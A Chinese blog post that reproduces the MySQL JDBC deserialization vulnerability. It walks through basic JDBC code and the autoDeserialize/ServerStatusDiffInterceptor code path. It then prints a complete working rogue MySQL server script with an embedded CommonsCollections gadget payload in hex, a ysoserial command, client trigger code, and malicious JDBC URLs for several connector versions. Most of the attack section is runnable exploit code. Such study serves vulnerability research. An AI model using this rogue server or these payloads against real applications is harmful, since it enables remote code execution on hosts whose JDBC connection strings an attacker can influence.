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JAVA-JDBC反序列化

October 23, 2022 • Read: 238 • Code auditing

前言

示意图
截屏2022-10-11 15.04.10.png

学习这个知识点之后,就可以面向数据库操作了
先就是简单的与数据库交互的操作,但在这之前需要下载自己需要的对应数据库驱动
这里以mysql为例:mysql的驱动

package com.mtest.jdbc;
import com.mysql.jdbc.Driver;

import java.io.FileInputStream;
import java.io.IOException;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.Properties;

public class Jdbc01 {
    public static void main(String[] args) throws SQLException, ClassNotFoundException, IllegalAccessException, InstantiationException, IOException {
        Connection05();
    }
    static void Connection03() throws ClassNotFoundException, SQLException, IllegalAccessException, InstantiationException {
        Driver driver = (Driver) Class.forName("com.mysql.jdbc.Driver").newInstance();
        String url = "jdbc:mysql://localhost:8889/JdbcTest";
        String user = "root";
        String password= "admin@m1";

        DriverManager.registerDriver(driver);
        Connection connection = DriverManager.getConnection(url, user, password);

        String sql = "insert into Jdbc01 values('小明','abe')";
        Statement statement = connection.createStatement();
        int rows = statement.executeUpdate(sql);

        System.out.println(rows >0 ? "成功" : "失败");
        statement.close();
        connection.close();
    }
    static void Connection02() throws ClassNotFoundException, IllegalAccessException, InstantiationException, SQLException {
        Driver o = (Driver) Class.forName("com.mysql.jdbc.Driver").newInstance();
        String url = "jdbc:mysql://localhost:8889/JdbcTest";

        Properties properties = new Properties();
        properties.setProperty("user","root");
        properties.setProperty("password","admin@m1");

        Connection connect = o.connect(url, properties);

        String sql = "insert into Jdbc01 values('李小龙','adc')";
        Statement statement = connect.createStatement();
        int rows = statement.executeUpdate(sql);

        System.out.println(rows >0 ? "成功" : "失败");
        statement.close();
        connect.close();
    }
    static void Connection01() throws SQLException {
        Driver driver = new Driver();

        String url = "jdbc:mysql://localhost:8889/JdbcTest";

        Properties properties = new Properties();
        properties.setProperty("user","root");
        properties.setProperty("password","admin@m1");

        Connection connect = driver.connect(url, properties);

        String sql = "insert into Jdbc01 values('李华','adb')";
        Statement statement = connect.createStatement();
        int rows = statement.executeUpdate(sql);

        System.out.println(rows >0 ? "成功" : "失败");
        statement.close();
        connect.close();
    }
    static void Connection04() throws ClassNotFoundException, SQLException {
        Class.forName("com.mysql.jdbc.Driver");
        String url = "jdbc:mysql://localhost:8889/JdbcTest";
        String user = "root";
        String password= "admin@m1";
        Connection connection = DriverManager.getConnection(url, user, password);
        String sql = "update Jdbc01 set name='刘德华' where id='adc'";
        Statement statement = connection.createStatement();
        int rows = statement.executeUpdate(sql);

        System.out.println(rows >0 ? "成功" : "失败");
        statement.close();
        connection.close();
    }
    static void Connection05() throws IOException, ClassNotFoundException, SQLException {
        Properties properties = new Properties();
        properties.load(new FileInputStream("src/com/mtest/jdbc/properites"));
        String user = properties.getProperty("user");
        String password = properties.getProperty("password");
        String driver = properties.getProperty("driver");
        String url = properties.getProperty("url");

        Class.forName(driver);
        Connection connection = DriverManager.getConnection(url, user, password);
        String sql = "update Jdbc01 set name='成龙' where id='adc'";
        Statement statement = connection.createStatement();
        int rows = statement.executeUpdate(sql);

        System.out.println(rows >0 ? "成功" : "失败");
        statement.close();
        connection.close();

    }
}

截屏2022-10-11 15.24.55.png

对数据库的基本操作就是这样的

JDBC反序列化

JDBC能成功连接数据库,且当JDBC URL可控时,便能让它连接任意的mysql服务器,此时若这台mysql服务器是恶意的,那么就可以来造成一个反序列话漏洞了。

复现环境

jdk:1.8._065
mysql:5.7.34
依赖:

<dependencies>
        <dependency>
            <groupId>mysql</groupId>
            <artifactId>mysql-connector-java</artifactId>
            <version>8.0.14</version>
        </dependency>

        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>
    </dependencies>

看看环境成功实现没

package org.vul;

import java.sql.*;
public class JDtest {
    public static void main(String[] args) throws Exception{
        Class.forName("com.mysql.cj.jdbc.Driver");
        String jdbc_url = "jdbc:mysql://127.0.0.1:8889/JdbcTest?serverTimezone=UTC";
        Connection connection = DriverManager.getConnection(jdbc_url,"root","admin@m1");
        String sql = "insert into Jdbc01 values('小华','ace')";
        Statement statement = connection.createStatement();
        int rows = statement.executeUpdate(sql);

        System.out.println(rows >0 ? "成功" : "失败");
        statement.close();
        connection.close();
    }
}

截屏2022-10-20 17.12.23.png

因为说反序列化漏洞,所有要找到重写readObject
我们先找到com.mysql.cj.jdbc.result.ResultSetImpl#getObject()
截屏2022-10-22 14.58.14.png

重要代码如下:

public Object getObject(int columnIndex) throws SQLException {
        checkRowPos();
        checkColumnBounds(columnIndex);

        int columnIndexMinusOne = columnIndex - 1;

        // we can't completely rely on code below because primitives have default values for null (e.g. int->0)
        if (this.thisRow.getNull(columnIndexMinusOne)) {
            return null;
        }

        Field field = this.columnDefinition.getFields()[columnIndexMinusOne];
        switch (field.getMysqlType()) {
            case BIT:
                // TODO Field sets binary and blob flags if the length of BIT field is > 1; is it needed at all?
                if (field.isBinary() || field.isBlob()) {
                    byte[] data = getBytes(columnIndex);

                    if (this.connection.getPropertySet().getBooleanProperty(PropertyKey.autoDeserialize).getValue()) {
                        Object obj = data;

                        if ((data != null) && (data.length >= 2)) {
                            if ((data[0] == -84) && (data[1] == -19)) {
                                // Serialized object?
                                try {
                                    ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
                                    ObjectInputStream objIn = new ObjectInputStream(bytesIn);
                                    obj = objIn.readObject();
                                    objIn.close();
                                    bytesIn.close();
                                } catch (ClassNotFoundException cnfe) {
                                    throw SQLError.createSQLException(Messages.getString("ResultSet.Class_not_found___91") + cnfe.toString()
                                            + Messages.getString("ResultSet._while_reading_serialized_object_92"), getExceptionInterceptor());
                                } catch (IOException ex) {
                                    obj = data; // not serialized?
                                }
                            } else {
                                return getString(columnIndex);
                            }
                        }

                        return obj;
                    }

                    return data;
                }

                return field.isSingleBit() ? Boolean.valueOf(getBoolean(columnIndex)) : getBytes(columnIndex);

            case BOOLEAN:
                return Boolean.valueOf(getBoolean(columnIndex));

            case TINYINT:
                return Integer.valueOf(getByte(columnIndex));

            case TINYINT_UNSIGNED:
            case SMALLINT:
            case SMALLINT_UNSIGNED:
            case MEDIUMINT:
            case MEDIUMINT_UNSIGNED:
            case INT:
                return Integer.valueOf(getInt(columnIndex));

            case INT_UNSIGNED:
            case BIGINT:
                return Long.valueOf(getLong(columnIndex));

            case BIGINT_UNSIGNED:
                return getBigInteger(columnIndex);

            case DECIMAL:
            case DECIMAL_UNSIGNED:
                String stringVal = getString(columnIndex);

                if (stringVal != null) {
                    if (stringVal.length() == 0) {
                        return new BigDecimal(0);
                    }

                    try {
                        return new BigDecimal(stringVal);
                    } catch (NumberFormatException ex) {
                        throw SQLError.createSQLException(
                                Messages.getString("ResultSet.Bad_format_for_BigDecimal", new Object[] { stringVal, Integer.valueOf(columnIndex) }),
                                MysqlErrorNumbers.SQL_STATE_ILLEGAL_ARGUMENT, getExceptionInterceptor());
                    }
                }
                return null;

然后我们来看需要满足的条件就这几个

 if (field.isBinary() || field.isBlob()) {
                    byte[] data = getBytes(columnIndex);

                    if (this.connection.getPropertySet().getBooleanProperty(PropertyKey.autoDeserialize).getValue()) {
                        Object obj = data;

                        if ((data != null) && (data.length >= 2)) {
                            if ((data[0] == -84) && (data[1] == -19)) 

现在接着找调用getObject()的地方
ServerStatusDiffInterceptor#populateMapWithSessionStatusValues的方法中有被调用
先介绍下ServerStatusDiffInterceptor:它是一个拦截器
在JDBC url中设定属性queryInterceptors为ServerStatusDiffInterceptor时
查询语句会调用拦截器的preProcess和postProcess
然后就会调用到populateMapWithSessionStatusValues()方法。

private void populateMapWithSessionStatusValues(Map<String, String> toPopulate) {
        java.sql.Statement stmt = null;
        java.sql.ResultSet rs = null;

        try {
            try {
                toPopulate.clear();

                stmt = this.connection.createStatement();
                rs = stmt.executeQuery("SHOW SESSION STATUS");
                ResultSetUtil.resultSetToMap(toPopulate, rs);
            } finally {
                if (rs != null) {
                    rs.close();
                }

                if (stmt != null) {
                    stmt.close();
                }
            }
        } catch (SQLException ex) {
            throw ExceptionFactory.createException(ex.getMessage(), ex);
        }
    }

在JDBC连接数据库时,它会调用populateMapWithSessionStatusValues的SHOW SESSION STATUS来进行查询,并且在对结果进行处理时会调用resultSetToMap

public class ResultSetUtil {

    @SuppressWarnings({ "rawtypes", "unchecked" })
    public static void resultSetToMap(Map mappedValues, ResultSet rs) throws SQLException {
        while (rs.next()) {
            mappedValues.put(rs.getObject(1), rs.getObject(2));
        }
    }

这里调用的getObject
具体漏洞的流程就是这样的,我们需要搭建一个恶意的mysql服务,然后我们我们用JDBC操作这个数据库的时候就能进行反序列化利用
找了个师傅的恶意mysql服务的脚本:

# coding=utf-8
import socket
import binascii
import os

greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"

def receive_data(conn):
    data = conn.recv(1024)
    print("[*] Receiveing the package : {}".format(data))
    return str(data).lower()

def send_data(conn,data):
    print("[*] Sending the package : {}".format(data))
    conn.send(binascii.a2b_hex(data))

def get_payload_content():
    #file文件的内容使用ysoserial生成的 使用规则:java -jar ysoserial [Gadget] [command] > a
    file= r'a'
    if os.path.isfile(file):
        with open(file, 'rb') as f:
            payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
        print("open successs")

    else:
        print("open false")
        #calc
        payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
    return payload_content

# 主要逻辑
def run():

    while 1:
        conn, addr = sk.accept()
        print("Connection come from {}:{}".format(addr[0],addr[1]))

        # 1.先发送第一个 问候报文
        send_data(conn,greeting_data)

        while True:
            # 登录认证过程模拟  1.客户端发送request login报文 2.服务端响应response_ok
            receive_data(conn)
            send_data(conn,response_ok_data)

            #其他过程
            data=receive_data(conn)
            #查询一些配置信息,其中会发送自己的 版本号
            if "session.auto_increment_increment" in data:
                _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
                send_data(conn,_payload)
                data=receive_data(conn)
            elif "show warnings" in data:
                _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
                send_data(conn, _payload)
                data = receive_data(conn)
            if "set names" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "set character_set_results" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "show session status" in data:
                mysql_data = '0100000102'
                mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
                mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
                # 为什么我加了EOF Packet 就无法正常运行呢??
                # 获取payload
                payload_content=get_payload_content()
                # 计算payload长度
                payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
                payload_length_hex = payload_length[2:4] + payload_length[0:2]
                # 计算数据包长度
                data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
                data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
                mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
                mysql_data += str(payload_content)
                mysql_data += '07000005fe000022000100'
                send_data(conn, mysql_data)
                data = receive_data(conn)
            if "show warnings" in data:
                payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
                send_data(conn, payload)
            break


if __name__ == '__main__':
    HOST ='0.0.0.0'
    PORT = 3309

    sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #当socket关闭后,本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
    sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sk.bind((HOST, PORT))
    sk.listen(1)

    print("start fake mysql server listening on {}:{}".format(HOST,PORT))

    run()

截屏2022-10-25 20.46.13.png

然后我们先用工具ysoserial来生成payload,放到a文件里

java -jar ysoserial.jar CommonsCollections7 "/System/Applications/Calculator.app/Contents/MacOS/Calculator" > a

然后启动我们的客户端

package org.vul;


import java.sql.*;
public class JDtest{
    public static void main(String[] args) throws Exception{
        Class.forName("com.mysql.cj.jdbc.Driver");
        String jdbc_url = "jdbc:mysql://127.0.0.1:3309/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";
        Connection connection = DriverManager.getConnection(jdbc_url, "root", "root");
    }
}

截屏2022-10-27 01.01.40.png

漏洞复现成功

常见版本payload

常见版本 paylaod

ServerStatusDiffInterceptor 触发点

8.x

如上述 Demo:



jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

6.x

属性名不同,queryInterceptors 换为 statementInterceptors:



jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

=5.1.11

包名中没有 cj:



jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor

5.x <= 5.1.10

同上,但需要连接后执行查询。

detectCustomCollations 触发点

5.1.29 - 5.1.40



jdbc:mysql://x.x.x.x:3306/test?detectCustomCollations=true&autoDeserialize=true

5.1.28 - 5.1.19

jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true
Last Modified: October 27, 2022
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